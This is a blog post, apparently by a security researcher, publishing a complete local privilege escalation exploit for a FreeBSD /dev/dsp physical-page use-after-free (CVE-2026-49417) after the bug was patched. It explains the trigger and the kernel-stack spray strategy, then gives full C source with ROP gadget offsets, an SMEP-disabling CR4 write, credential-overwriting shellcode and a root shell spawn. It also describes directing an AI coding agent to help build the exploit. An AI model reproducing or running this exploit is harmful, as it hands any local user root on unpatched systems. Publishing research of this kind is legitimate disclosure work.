tsune Help

Dirty Kernel Stack

0.5-day exploit for CVE-2026-49417.

I found a physical memory UAF in /dev/dsp of FreeBSD, which is available from all users in default config. I exploited it and proved lpe is reachable in around 6/9 14:00PM UTC, after a short sleep, unfortunately the patch has merged to remote repository few hours later.

https://bsdsec.net/articles/freebsd-security-advisory-freebsd-sa-26-27-sound

So my report was duplicated. However, I have a completely LPE exploit that proves any user-to-root privilege escalation, I decided to explain and publish my exploit in my blog.

Env

VM image: https://download.freebsd.org/releases/VM-IMAGES/15.0-RELEASE/amd64/Latest/

#!/bin/sh qemu-system-x86_64 \ -accel kvm \ -m 3072 \ -cpu host -smp 4 \ -bios /usr/share/ovmf/OVMF.fd \ -drive file=FreeBSD-15.0-RELEASE-amd64-ufs.qcow2 \ -audiodev none,id=snd0 \ -device intel-hda \ -device hda-duplex,audiodev=snd0 \ -nographic

Bug

The bug was simple, there's physical page uaf on /dev/dsp. An unprivileged local user can keep a mapping to pages backing a freed PCM buffer.

Trigger

  1. Open /dev/dsp or /dev/dsp* as an unprivileged user.

  2. Optionally use sound ioctls such as SNDCTL_DSP_SETFRAGMENT or SNDCTL_DSP_SETBLKSIZE to shape the secondary buffer.

  3. Call mmap(..., PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0).

  4. Touch the mapping to fault/cache pages.

  5. Close the file descriptor.

  6. Continue reading or writing the mapping after the virtual channel and bufsoft backing buffer have been freed.

LLMs sucked

After analyzing the primitive, codex tried to overlap with known object, even they didn't analyze the allocator of FreeBSD. Codex tried to overlap pipe_buffer at first, but failed. So I advised to codex analyzing allocator of victim object and page-table allocator. Unfortunately, page-table allocator was not suitable for victim allocator.

In the next stage, I ordered codex to investigate other primitive objects. One of that is kernel's stack. Then codex found kernel's stack allocator uses same allocator of victim object, thus we decided to use kernel's stack as overlap object.

The exploit strategy with overlapping kernel's stack is simple: after triggering uaf, spraying kernel's stack with nanosleep syscall to reclaim the victim physical memory. Then, scan mmap page, which has completely read+write primitive of kernel's stack from userland to find return address slot.

Finally, plant rop chain to stack that kills CR4 for SMEP and return to userland shellcode.

In the userland shellcode, shellcode overwrites cred struct to privilege escalation.

For kASLR bypass, please refer to the repository: https://github.com/Yayoi-cs/FreeBSD_Kernel_VA_Leaks

Exploit

Cve 2026 49417
#include <sys/types.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <sys/soundcard.h> #include <sys/linker.h> #include <sys/thr.h> #include <pthread.h> #include <signal.h> #include <fcntl.h> #include <unistd.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <time.h> #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) { \ error("%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \ exit(1); \ } \ __res; \ }) #define info(fmt, ...) printf("[*] " fmt "\n", ##__VA_ARGS__); #define success(fmt, ...) printf("[+] " fmt "\n", ##__VA_ARGS__); #define error(fmt, ...) printf("[-] " fmt "\n", ##__VA_ARGS__); #define warning(fmt, ...) printf("[!] " fmt "\n", ##__VA_ARGS__); #define hl(x) printf("[#] " #x " = 0x%lx\n",(unsigned long)x); #define rep(X,Y) for (int X = 0;X < (Y);++X) #define drep(X,Y) for (unsigned long X = 0;X < (Y);X+=4) #define qrep(X,Y) for (unsigned long X = 0;X < (Y);X+=8) #define dqrep(X,Y) for (unsigned long X = 0;X < (Y);X+=16) #define irep(X) for (int X = 0;;++X) #define rrep(X,Y) for (int X = int(Y)-1;X >=0;--X) #define range(X,Y,Z) for (int X = Y;X < Z;X++) #define __DBG__ _dbg(__FILE__, __LINE__); void _dbg(const char *file, int line) { info("dbg @ %s:%d", file,line); getchar(); } #define __CHK__(x) _chk( __FILE__, __LINE__, #x,x); void _chk(const char *msg, int line, const char *code, int cond) { if (cond) { success("[OK] %s @ %s:%d",code,msg,line); } else { error("[FAIL] %s @ %s:%d",code,msg,line); abort(); } } #define DEVPATH "/dev/dsp" #define FILL 0x4c50455250445344ULL /* "DSPPREPL" */ #define KERN_BASE_STATIC 0xffffffff80200000ULL #define G_POP_RAX_RET_OFF (0xffffffff810779feULL - KERN_BASE_STATIC) #define G_MOV_CR4_RAX_RET_OFF (0xffffffff803870edULL - KERN_BASE_STATIC) /* mov rax,%cr4; ret */ #define G_XOR_EAX_RET_OFF (0xffffffff803d666bULL - KERN_BASE_STATIC) #define CR4_ORIG 0x3506e0ULL #define CR4_NOSMEP (CR4_ORIG & ~0x100000ULL) struct stale_map { volatile uint8_t *p; size_t len; int fd; }; struct worker { long tid; uint64_t sec, nsec; void *stack; size_t stack_sz; int target; }; static volatile int go_pre, go_tgt; static void wr64(volatile void *p, uint64_t v){ volatile uint8_t *q=p; for(int i=0;i<8;i++) q[i]=(uint8_t)(v>>(8*i)); } static uint64_t rd64(const volatile void *p){ const volatile uint8_t *q=p; uint64_t v=0; for(int i=7;i>=0;i--) v=(v<<8)|q[i]; return v; } static int setfrag(int fd, unsigned frags, unsigned fraglog){ int arg=(int)((frags<<16)|fraglog); return ioctl(fd,SNDCTL_DSP_SETFRAGMENT,&arg); } static unsigned long kernel_base(unsigned long *sz){ struct kld_file_stat st; memset(&st,0,sizeof(st)); st.version=sizeof(st); SYSCHK(kldstat(1,&st)); if(sz)*sz=st.size; return (unsigned long)st.address; } static unsigned long ksym(const char *name){ struct kld_sym_lookup k; memset(&k,0,sizeof(k)); k.version=sizeof(k); k.symname=(char*)name; SYSCHK(kldsym(0,KLDSYM_LOOKUP,&k)<0); return (unsigned long)k.symvalue; } static int in_text(uint64_t v, unsigned long b, unsigned long s){ return v>=b && v<b+s; } static int exact_idx(struct worker *w, int n, uint64_t v){ for(int i=0;i<n;i++) if(w[i].target && v==w[i].nsec) return i; return -1; } static void sigusr1(int signo){ (void)signo; } static void *sleeper(void *arg){ struct worker *w=arg; long tid=0; thr_self(&tid); w->tid=tid; if (w->target) { w->sec = 8; w->nsec = 0x12345000ULL + (uint64_t)((tid & 0xffff) << 4); } else { w->sec = 0x100000000ULL + (uint64_t)(tid & 0xfffff); w->nsec = 0x12345000ULL + (uint64_t)((tid & 0xffff) << 4); } while(!(w->target ? go_tgt : go_pre)) sched_yield(); struct timespec ts; ts.tv_sec=(time_t)w->sec; ts.tv_nsec=(long)w->nsec; nanosleep(&ts, NULL); return NULL; } static int map_one_hold(struct stale_map *m){ m->fd=SYSCHK(open(DEVPATH,O_RDWR)); (void)setfrag(m->fd,32,12); m->len=128*1024; audio_buf_info bi; memset(&bi,0,sizeof(bi)); SYSCHK(ioctl(m->fd,SNDCTL_DSP_GETOSPACE,&bi)); if(bi.fragstotal>0 && bi.fragsize>0) m->len=(size_t)bi.fragstotal*(size_t)bi.fragsize; m->p=SYSCHK(mmap(NULL,m->len,PROT_READ|PROT_WRITE,MAP_SHARED,m->fd,0)); for(size_t o=0;o+8<=m->len;o+=8) wr64(m->p+o,FILL); return 0; } static void prep_stack(struct worker *w){ size_t ss=128*1024; void *st=SYSCHK(mmap(NULL,ss,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0)); for(size_t o=0;o<ss;o+=4096) ((volatile char*)st)[o]=0x41; ((volatile char*)st)[ss-1]=0x42; w->stack=st; w->stack_sz=ss; } static int mkthread(pthread_t *pt, struct worker *w){ pthread_attr_t a; pthread_attr_init(&a); pthread_attr_setstack(&a,w->stack,w->stack_sz); int e=pthread_create(pt,&a,sleeper,w); pthread_attr_destroy(&a); if(e){ errno=e; return -1; } return 0; } static void put64(uint8_t *p, uint64_t v){ for(int i=0;i<8;i++) p[i]=(uint8_t)(v>>(8*i)); } static void *make_shellcode(uint64_t mov_cr4_ret, uint64_t xor_eax_ret, uint64_t orig_ret){ uint8_t sc[256]; size_t n=0; #define B(x) sc[n++]=(uint8_t)(x) #define Q(x) do{ put64(sc+n,(uint64_t)(x)); n+=8; }while(0) /* mov %gs:0,%rax ; current struct thread * */ uint8_t a1[]={0x65,0x48,0x8b,0x04,0x25,0,0,0,0}; memcpy(sc+n,a1,sizeof(a1)); n+=sizeof(a1); uint8_t a2[]={0x48,0x8b,0x58,0x08, /* mov 0x8(rax),rbx ; td_proc */ 0x48,0x8b,0x4b,0x40, /* mov 0x40(rbx),rcx ; p_ucred */ 0x31,0xd2, /* xor edx,edx */ 0x89,0x51,0x64,0x89,0x51,0x68,0x89,0x51,0x6c, 0x89,0x51,0x70,0x89,0x51,0x74,0x89,0x51,0x78, 0xc7,0x41,0x60,0x01,0,0,0, /* cr_ngroups = 1 */ 0x89,0x91,0xc4,0,0,0}; /* cr_smallgroups[0] = 0 */ memcpy(sc+n,a2,sizeof(a2)); n+=sizeof(a2); B(0x48); B(0x83); B(0xec); B(0x18); /* sub $0x18,%rsp: restore normal caller rsp after mini-ROP */ B(0x48); B(0xb8); Q(CR4_ORIG); /* movabs orig_cr4,rax */ B(0x49); B(0xbb); Q(mov_cr4_ret); /* movabs mov_cr4_ret,%r11 */ B(0x49); B(0xba); Q(orig_ret); /* movabs orig_ret,%r10 */ B(0x41); B(0x52); /* push %r10 */ B(0x49); B(0xba); Q(xor_eax_ret); /* movabs xor_eax_ret,%r10 */ B(0x41); B(0x52); /* push %r10 */ B(0x41); B(0xff); B(0xe3); /* jmp *%r11 */ #undef B #undef Q void *shellcode=SYSCHK(mmap(NULL,4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANON,-1,0)); memcpy(shellcode,sc,n); hl(shellcode); return shellcode; } #define N_KERN_STK 1200 #define N_SPRAY 512 int main(int argc, char **argv){ struct sigaction sa; memset(&sa,0,sizeof(sa)); sa.sa_handler=sigusr1; sigaction(SIGUSR1,&sa,NULL); unsigned long ksz=0; unsigned long kbase=kernel_base(&ksz); unsigned long sysn=ksym("sys_nanosleep"); hl(kbase); hl(sysn); unsigned long pop_rax=kbase+(0xffffffff810779feULL - 0xffffffff80200000ULL); unsigned long mov_cr4=kbase+(0xffffffff803870edULL - 0xffffffff80200000ULL); unsigned long xor_eax=kbase+(0xffffffff803d666bULL - 0xffffffff80200000ULL); unsigned long orig_ret=sysn+0x3b; hl(pop_rax); hl(mov_cr4); hl(xor_eax); hl(orig_ret); void *shellcode=make_shellcode(mov_cr4, xor_eax, orig_ret); pthread_t *pt=calloc(N_KERN_STK,sizeof(*pt)); struct worker *wk=calloc(N_KERN_STK,sizeof(*wk)); struct stale_map *maps=calloc(N_SPRAY,sizeof(*maps)); rep(i,N_KERN_STK) prep_stack(&wk[i]); rep(i,N_SPRAY){ map_one_hold(&maps[i]); } rep(i,N_SPRAY){ close(maps[i].fd); } rep(i,N_KERN_STK){ wk[i].target=1; SYSCHK(mkthread(&pt[i],&wk[i])); } go_tgt=1; sleep(2); int target_wi=-1; volatile uint8_t *slot=NULL; for(int mi=0;mi<N_SPRAY;mi++) { for(size_t pg=0;pg+4096<=maps[mi].len;pg+=4096){ int exact=0,text=0; for(size_t o=0;o<4096;o+=8){ uint64_t v=rd64(maps[mi].p+pg+o); if(exact_idx(wk,N_KERN_STK,v)>=0) exact++; if(in_text(v,kbase,ksz)) text++; } if(!exact || !text) continue; int wi=-1; for(size_t o=0;o<4096;o+=8){ int t=exact_idx(wk,N_KERN_STK,rd64(maps[mi].p+pg+o)); if(t>=0){ wi=t; break; } } for(size_t o=0;o+32<4096;o+=8){ if(rd64(maps[mi].p+pg+o)==orig_ret){ slot=maps[mi].p+pg+o; target_wi=wi; // build rop wr64(slot+0, pop_rax); wr64(slot+8, CR4_NOSMEP); wr64(slot+16, mov_cr4); wr64(slot+24, (uint64_t)(uintptr_t)shellcode); goto win; } } } } error("fail"); exit(1); win: (void)target_wi; irep(i){ usleep(100000); if(geteuid()==0){ __CHK__(getuid()==0) __CHK__(geteuid()==0) char *argv[] = { "/bin/sh", NULL }; execv(argv[0], argv); return 0; } } }
Last modified: 13 June 2026